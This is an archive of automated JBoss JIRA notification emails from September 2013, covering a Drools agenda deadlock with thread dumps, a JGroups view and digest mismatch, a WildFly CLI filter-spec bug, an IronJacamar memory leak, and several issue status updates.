Subject: [jboss-jira] [JBoss JIRA] (DROOLS-206) Deadlock between
 AbstractWorkingMemory and DefaultAgenda
In-Reply-To: <JIRA.12497480.1375093239000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497480.1375093239000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497480.1375093239000.22879.1378975384629@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-206?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803747#comment-12803747 ] 

RH Bugzilla Integration commented on DROOLS-206:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> changed the Status of [bug 995078|https://bugzilla.redhat.com/show_bug.cgi?id=995078] from ON_QA to VERIFIED
                
> Deadlock between AbstractWorkingMemory and DefaultAgenda
> --------------------------------------------------------
>
>                 Key: DROOLS-206
>                 URL: https://issues.jboss.org/browse/DROOLS-206
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Winfried Umbrath
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.CR2
>
>         Attachments: jbrules-3700-test.tgz
>
>
> I experienced a deadlock when running in STREAM mode and using negative patterns with temporal constraints. 
> When the rule gets fired by the installed timer job and at the same time another thread is firing rules, a deadlock can occur:
> 1. [rule firing thread] StatefulKnowledgeSessionImpl.execute(StatefulKnowledgeSessionImpl.java:820)
> acquires lock in AbstractWorkingMemory
> 2. [timer-thread] DefaultAgenda.fireActivation()
> call of synchronized method
> 3. [rule firing thread] DefaultAgenda.fireActivation()
> synchronized method, wait for other thread to exit synchornized method
> 4. [timer-thread] AbstractWorkingMemory.getGlobal()
> tries to access a global, tries to acquire lock in AbstractWorkingMemory which is held by the other thread
> --> Deadlock
> Excerpt from thread dump:
> "http-thread-pool-8082(374)":
> 	at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1264)
> 	- waiting to lock <0x00007f50407e4950> (a org.drools.common.DefaultAgenda)
> 	at org.drools.common.DefaultAgenda.fireNextItem(DefaultAgenda.java:1221)
> 	at org.drools.common.DefaultAgenda.fireAllRules(DefaultAgenda.java:1456)
> 	at org.drools.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:710)
> 	at org.drools.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:679)
> 	at org.drools.impl.StatefulKnowledgeSessionImpl.fireAllRules(StatefulKnowledgeSessionImpl.java:234)
> 	at org.drools.command.runtime.rule.FireAllRulesCommand.execute(FireAllRulesCommand.java:102)
> 	at org.drools.command.runtime.rule.FireAllRulesCommand.execute(FireAllRulesCommand.java:32)
> 	at org.drools.command.runtime.BatchExecutionCommandImpl.execute(BatchExecutionCommandImpl.java:155)
> 	at org.drools.command.runtime.BatchExecutionCommandImpl.execute(BatchExecutionCommandImpl.java:76)
> 	at org.drools.impl.StatefulKnowledgeSessionImpl.execute(StatefulKnowledgeSessionImpl.java:821)
> "pool-4251-thread-1":
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  0x00007f503fc71a20> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:158)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:747)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireQueued(AbstractQueuedSynchronizer.java:778)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquire(AbstractQueuedSynchronizer.java:1114)
> 	at java.util.concurrent.locks.ReentrantLock$NonfairSync.lock(ReentrantLock.java:186)
> 	at java.util.concurrent.locks.ReentrantLock.lock(ReentrantLock.java:262)
> 	at org.drools.common.AbstractWorkingMemory.getGlobal(AbstractWorkingMemory.java:634)
> 	at myrules.Rule_ruleWithTimeout_ece4a3c9fc2741a4ab97a92b77611203DefaultConsequenceInvokerGenerated.evaluate(Unknown Source)
> 	at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1287)
> 	- locked <0x00007f50407e4950> (a org.drools.common.DefaultAgenda)
> 	at org.drools.common.DefaultAgenda.fireTimedActivation(DefaultAgenda.java:1344)
> 	- locked <0x00007f50407e4950> (a org.drools.common.DefaultAgenda)
> 	at org.drools.common.Scheduler$ActivationTimerJob.execute(Scheduler.java:83)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 04:43:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 04:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-206) Deadlock between
 AbstractWorkingMemory and DefaultAgenda
In-Reply-To: <JIRA.12497480.1375093239000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497480.1375093239000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497480.1375093239000.22883.1378975384877@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-206?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803748#comment-12803748 ] 

RH Bugzilla Integration commented on DROOLS-206:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> made a comment on [bug 995078|https://bugzilla.redhat.com/show_bug.cgi?id=995078]

Verified on 5.3.1.BRMS-P04.
                
> Deadlock between AbstractWorkingMemory and DefaultAgenda
> --------------------------------------------------------
>
>                 Key: DROOLS-206
>                 URL: https://issues.jboss.org/browse/DROOLS-206
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Winfried Umbrath
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.CR2
>
>         Attachments: jbrules-3700-test.tgz
>
>
> I experienced a deadlock when running in STREAM mode and using negative patterns with temporal constraints. 
> When the rule gets fired by the installed timer job and at the same time another thread is firing rules, a deadlock can occur:
> 1. [rule firing thread] StatefulKnowledgeSessionImpl.execute(StatefulKnowledgeSessionImpl.java:820)
> acquires lock in AbstractWorkingMemory
> 2. [timer-thread] DefaultAgenda.fireActivation()
> call of synchronized method
> 3. [rule firing thread] DefaultAgenda.fireActivation()
> synchronized method, wait for other thread to exit synchornized method
> 4. [timer-thread] AbstractWorkingMemory.getGlobal()
> tries to access a global, tries to acquire lock in AbstractWorkingMemory which is held by the other thread
> --> Deadlock
> Excerpt from thread dump:
> "http-thread-pool-8082(374)":
> 	at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1264)
> 	- waiting to lock <0x00007f50407e4950> (a org.drools.common.DefaultAgenda)
> 	at org.drools.common.DefaultAgenda.fireNextItem(DefaultAgenda.java:1221)
> 	at org.drools.common.DefaultAgenda.fireAllRules(DefaultAgenda.java:1456)
> 	at org.drools.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:710)
> 	at org.drools.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:679)
> 	at org.drools.impl.StatefulKnowledgeSessionImpl.fireAllRules(StatefulKnowledgeSessionImpl.java:234)
> 	at org.drools.command.runtime.rule.FireAllRulesCommand.execute(FireAllRulesCommand.java:102)
> 	at org.drools.command.runtime.rule.FireAllRulesCommand.execute(FireAllRulesCommand.java:32)
> 	at org.drools.command.runtime.BatchExecutionCommandImpl.execute(BatchExecutionCommandImpl.java:155)
> 	at org.drools.command.runtime.BatchExecutionCommandImpl.execute(BatchExecutionCommandImpl.java:76)
> 	at org.drools.impl.StatefulKnowledgeSessionImpl.execute(StatefulKnowledgeSessionImpl.java:821)
> "pool-4251-thread-1":
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  0x00007f503fc71a20> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:158)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:747)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireQueued(AbstractQueuedSynchronizer.java:778)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquire(AbstractQueuedSynchronizer.java:1114)
> 	at java.util.concurrent.locks.ReentrantLock$NonfairSync.lock(ReentrantLock.java:186)
> 	at java.util.concurrent.locks.ReentrantLock.lock(ReentrantLock.java:262)
> 	at org.drools.common.AbstractWorkingMemory.getGlobal(AbstractWorkingMemory.java:634)
> 	at myrules.Rule_ruleWithTimeout_ece4a3c9fc2741a4ab97a92b77611203DefaultConsequenceInvokerGenerated.evaluate(Unknown Source)
> 	at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1287)
> 	- locked <0x00007f50407e4950> (a org.drools.common.DefaultAgenda)
> 	at org.drools.common.DefaultAgenda.fireTimedActivation(DefaultAgenda.java:1344)
> 	- locked <0x00007f50407e4950> (a org.drools.common.DefaultAgenda)
> 	at org.drools.common.Scheduler$ActivationTimerJob.execute(Scheduler.java:83)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 04:43:05 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Thu, 12 Sep 2013 04:43:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2029) access-type attribute
 description and access-control section
In-Reply-To: <JIRA.12500315.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500315.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500315.1378741350000.22895.1378975385435@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2029?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan closed WFLY-2029.
----------------------------


    
> access-type attribute description and access-control section
> ------------------------------------------------------------
>
>                 Key: WFLY-2029
>                 URL: https://issues.jboss.org/browse/WFLY-2029
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Alexey Loubyansky
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> <aloubyansky> bstansberry: i see that for attributes with access-type=read-only, the access-control section contains read=true, write=true
> <bstansberry> aloubyansky: can you file a JIRA, assigned to kabir, subtask of WFLY-490?
> <aloubyansky> bstansberry: you mean attribute's access-type and access-control section should be consistent?
> <bstansberry> aloubyansky: i mean you shouldn't have "write" as part of access control if the attribute isn't writable
> <bstansberry> aloubyansky: I definitely don't mean that the value of access-type should depend on access control

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 04:47:04 2013
From: jira-events at lists.jboss.org (Jim Ma (JIRA))
Date: Thu, 12 Sep 2013 04:47:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1240) Review Coverity reports for
 JBossWS integration
In-Reply-To: <JIRA.12481625.1356000235000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12481625.1356000235000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12481625.1356000235000.22909.1378975624020@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1240?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jim Ma resolved WFLY-1240.
--------------------------

      Assignee: Jim Ma  (was: Alessio Soldano)
    Resolution: Done


https://github.com/wildfly/wildfly/pull/5001
                
> Review Coverity reports for JBossWS integration
> -----------------------------------------------
>
>                 Key: WFLY-1240
>                 URL: https://issues.jboss.org/browse/WFLY-1240
>             Project: WildFly
>          Issue Type: Task
>          Components: Web Services
>            Reporter: Rostislav Svoboda
>            Assignee: Jim Ma
>
> Please check reported items for WS integration in http://station5.brq.redhat.com:8080/reports.htm#v10037/p10007 - use prepared 'x WS issues' filter

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 04:49:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 04:49:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate RuntimeMBeanException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.22926.1378975744768@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803753#comment-12803753 ] 

RH Bugzilla Integration commented on REMJMX-68:
-----------------------------------------------

Rostislav Svoboda <rsvoboda at redhat.com> made a comment on [bug 1007001|https://bugzilla.redhat.com/show_bug.cgi?id=1007001]

Ack - related to JMX Rbac
                
> ClientConnection should propagate RuntimeMBeanException
> -------------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 04:53:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 12 Sep 2013 04:53:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1317) Compress Digest and
	MutableDigest
In-Reply-To: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12436429.1304073168000.22949.1378975984365@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1317.
----------------------------

    Resolution: Done

    
> Compress Digest and MutableDigest
> ---------------------------------
>
>                 Key: JGRP-1317
>                 URL: https://issues.jboss.org/browse/JGRP-1317
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> For large clusters, STABLE messages are quite large, and should be compressed to be sent over the wire. 
> STABLE messages are sent between members in the same view, so we could only send the ViewId + highest_delivered/highest_received seqnos.
> Everybody who receives a STABLE message grabs the View associated with the ViewId (should be the current view !) and creates a Digest based on the View and the long[] array.
> Further optimization:
> - Canonicalize digests: if everyone has (14) 20, 22, then we could write it once, give it an ID of (say) 1 and then only refer to 1 again if we encounter the same digest. Actually, as a matter of fact, most of the digests would be the same, so this optimization could have a big effect !

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 04:53:05 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 12 Sep 2013 04:53:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1690) View and digest have to match
In-Reply-To: <JIRA.12500481.1378892303000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500481.1378892303000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500481.1378892303000.22960.1378975985047@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1690?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1690.
----------------------------

    Resolution: Done

    
> View and digest have to match
> -----------------------------
>
>                 Key: JGRP-1690
>                 URL: https://issues.jboss.org/browse/JGRP-1690
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> In some cases a view and a digest are returned, e.g. v2=\{A,B,C\} and digest=[25,10,17]. This means the highest delivered seqno are A=25, B=10 and C=17.
> View and digest are returned in
> * Responses to a new joiner: JoinRsp
> * Merge view installations: GMS$GmsHeader.INSTALL_MERGE_VIEW
> * Merge responses: GMS$GmsHeader.MERGE_RSP (to be verified)
> However, in some edge cases we could potentially end up with digests which don't match the view, e.g. digest=[25,10]. This would mean that there is no entry for C, and - the way this currently works - the resulting digest would have *a 0 seqno for C* !
> The above scenario can happen as follows:
> * The view is v1=\{A,B\}. A is the coordinator
> * C joins
> * A broadcasts v2=\{A,B,C\}.
> * A installs v2, but doesn't yet set the digest (NAKACK.setDigest())
> * D joins
> * Meanwhile, C sent 50 messages and STABLE garbage-collected C at 45
> * A creates a new view v3=\{A,B,C,D\}
> * A gets the digest from NAKACK: [A,B] and adds D (at 0)
> * A sends a JOIN-RSP with v3=\{A,B,C,D\} and digest=[A,B,C,D] to D. Note that *C is 0*.
> ** The reason for this is that we create a MutableDigest with v3 with all seqnos being 0. Then we iterate through the digest and set the seqnos. However, since C is not set, its seqno is 0 !
> * D installs the JOIN-RSP. It thinks the seqno for C is 0. The problem now is that when C sends message #51, D will ask it for retransmission of [1-50], but C can't furnish them as it already purged messages 1-45. This leads to endless retransmissions.
> * A (belatedly) sets the digest=[A,B,C] for v2 in NAKACK
> SOLUTION:
> * Make sure (in the coordinator) that view and digest match. E.g. a MutableDigest could initialize all seqnos to -1 and - if after setting all values from the digest retrieved from NAKACK - throw an exception if one of the seqnos is still -1.
> ** We could retry fetching the digest from NAKACK for a number of tries before giving up
> ** In the worst case, we wouldn't send a JOIN-RSP to the new joiner, but since the joiner would retry, this is not a problem.
> * Alternatively, we could have the client (ClientGmsImpl) check the digest and retry if some of the seqnos are -1.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 05:03:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 05:03:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1791) Unable to use Filter
 Expressions in filter-spec
In-Reply-To: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497707.1375289900000.22979.1378976585133@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1791?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803760#comment-12803760 ] 

RH Bugzilla Integration commented on WFLY-1791:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> made a comment on [bug 982303|https://bugzilla.redhat.com/show_bug.cgi?id=982303]

I am quite confused by this fix. You've just added test for filter (which is deprecated, filter-spec should be used instead). Filter expressions are still not working.
You can try examples from documentation - (13.1.5. Filter Expressions for Logging)
 - http://documentation-devel.engineering.redhat.com/docs/en-US/Red_Hat_JBoss_Enterprise_Application_Platform/6.1/html/Administration_and_Configuration_Guide/chap-The_Logging_Subsystem.html#Filter_Expressions_for_Logging
                
>  Unable to use Filter Expressions in filter-spec
> ------------------------------------------------
>
>                 Key: WFLY-1791
>                 URL: https://issues.jboss.org/browse/WFLY-1791
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>            Reporter: Emmanuel Hugonnet
>            Assignee: Alexey Loubyansky
>            Priority: Minor
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 05:03:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 05:03:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1791) Unable to use Filter
 Expressions in filter-spec
In-Reply-To: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497707.1375289900000.22983.1378976585390@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1791?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803761#comment-12803761 ] 

RH Bugzilla Integration commented on WFLY-1791:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> changed the Status of [bug 982303|https://bugzilla.redhat.com/show_bug.cgi?id=982303] from ON_QA to ASSIGNED
                
>  Unable to use Filter Expressions in filter-spec
> ------------------------------------------------
>
>                 Key: WFLY-1791
>                 URL: https://issues.jboss.org/browse/WFLY-1791
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>            Reporter: Emmanuel Hugonnet
>            Assignee: Alexey Loubyansky
>            Priority: Minor
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 05:13:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 05:13:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1070) Memory leak if hashCode of
 Transaction isn't stable
In-Reply-To: <JIRA.12498669.1376567503000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498669.1376567503000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498669.1376567503000.23012.1378977184289@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1070?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803768#comment-12803768 ] 

RH Bugzilla Integration commented on JBJCA-1070:
------------------------------------------------

jooho lee <jlee at redhat.com> made a comment on [bug 1007312|https://bugzilla.redhat.com/show_bug.cgi?id=1007312]

This is fixed with IronJacamar 1.0.20.Final but EAP 6.1.1 has IronJacamar 1.0.19 version but customer will deploy application on EAP 6.1.1 soon so one-off patch is needed. (Furthermore, EAP6.2 Release date is not decided.)
                
> Memory leak if hashCode of Transaction isn't stable
> ---------------------------------------------------
>
>                 Key: JBJCA-1070
>                 URL: https://issues.jboss.org/browse/JBJCA-1070
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Core
>    Affects Versions: 1.0.19.Final, 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Critical
>             Fix For: 1.0.20.Final, 1.1.1.Final
>
>
> Happens in TransactionSynchronizer

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 05:19:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 05:19:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1791) Unable to use Filter
 Expressions in filter-spec
In-Reply-To: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497707.1375289900000.23026.1378977544019@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1791?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803770#comment-12803770 ] 

RH Bugzilla Integration commented on WFLY-1791:
-----------------------------------------------

Emmanuel Hugonnet (ehsavoie) <ehugonne at redhat.com> made a comment on [bug 982303|https://bugzilla.redhat.com/show_bug.cgi?id=982303]

I thought you had an issue creating the filters through the cli which this test checks.
Could you be more precise on what you mean by 'not working' ?
                
>  Unable to use Filter Expressions in filter-spec
> ------------------------------------------------
>
>                 Key: WFLY-1791
>                 URL: https://issues.jboss.org/browse/WFLY-1791
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>            Reporter: Emmanuel Hugonnet
>            Assignee: Alexey Loubyansky
>            Priority: Minor
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 05:46:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 05:46:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1791) Unable to use Filter
 Expressions in filter-spec
In-Reply-To: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497707.1375289900000.23055.1378979163854@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1791?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803778#comment-12803778 ] 

RH Bugzilla Integration commented on WFLY-1791:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> made a comment on [bug 982303|https://bugzilla.redhat.com/show_bug.cgi?id=982303]

I had an issue with creating filter-spec through the cli.

There are two attributes in every logging handler, filter and filter-spec.
Filter accepts type OBJECT, but it is deprecated now and filter-spec should be used as alternative.

see CLI read-resource output:
"filter" => {   "type" => OBJECT,
                "description" => "Defines a simple filter type.",
                "alternatives" => ["filter-spec"],
                "deprecated" => {
                    "since" => "1.2.0",
                    "reason" => "Use filter-spec."
                },
....

Filter-spec accepts Strings and should be able to cover functionality of original filter.

My problem is, that I am unable to create more complicated filters with filter-spec eg. :write-attribute(name=filter-spec, value=substituteAll("JBAS","DUMMY")).
                
>  Unable to use Filter Expressions in filter-spec
> ------------------------------------------------
>
>                 Key: WFLY-1791
>                 URL: https://issues.jboss.org/browse/WFLY-1791
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>            Reporter: Emmanuel Hugonnet
>            Assignee: Alexey Loubyansky
>            Priority: Minor
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 06:00:05 2013
From: jira-events at lists.jboss.org (Richard Achmatowicz (JIRA))
Date: Thu, 12 Sep 2013 06:00:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-125) Attribute
 passivate-events-on-replicate of cluster-passivation-store can't be change
 via drm or cli
In-Reply-To: <JIRA.12462154.1332337214000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12462154.1332337214000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12462154.1332337214000.23077.1378980005260@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-125?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803782#comment-12803782 ] 

Richard Achmatowicz commented on WFLY-125:
------------------------------------------

Fixed the problem by adjusting all attribute flags on EJB3 PassivationStore resources (FilePassivationStore, ClusterPassivationStore) to be set to RESTART_ALL_SERVICES from its previous value of RESTART_NONE.

                
> Attribute passivate-events-on-replicate of cluster-passivation-store can't be change via drm or cli
> ---------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-125
>                 URL: https://issues.jboss.org/browse/WFLY-125
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>            Reporter: Ond?ej Chaloupka
>            Assignee: Richard Achmatowicz
>              Labels: eap6_need_triage
>             Fix For: 8.0.0.Beta1
>
>
> Setting attribute passivate-events-on-replicate via drm or cli does not take affect until operation :reload is used.
> In case that the attribute ( <cluster-passivation-store name="infinispan" cache-container="ejb" passivate-events-on-replicate="false" />) is set directly in standalone*.xml configuration file the supposed functionality is working.
> The test for this could be checked on:
> https://github.com/ochaloup/jboss-as/blob/JBQA-5855-test-migration-passivation-in-cluster/testsuite/integration/clust/src/test/java/org/jboss/as/test/clustering/cluster/ejb3/stateful/passivation/ClusterPassivationTestCase.java

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 12 06:04:03 2013
From: jira-events at lists.jboss.org (Tristan Tarrant (JIRA))
Date: Thu, 12 Sep 2013 06:04:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1692) XSD schema does not specify a
 target namespace when declaring the ConfigType element
In-Reply-To: <JIRA.12500585.1378980149150@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500585.1378980149150@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500585.1378980149150.23095.1378980243492@jira02.app.mwc.hst.phx2.redhat.com>

Tristan Tarrant created JGRP-1692:
-------------------------------------

             Summary: XSD schema does not specify a target namespace when declaring the ConfigType element
                 Key: JGRP-1692
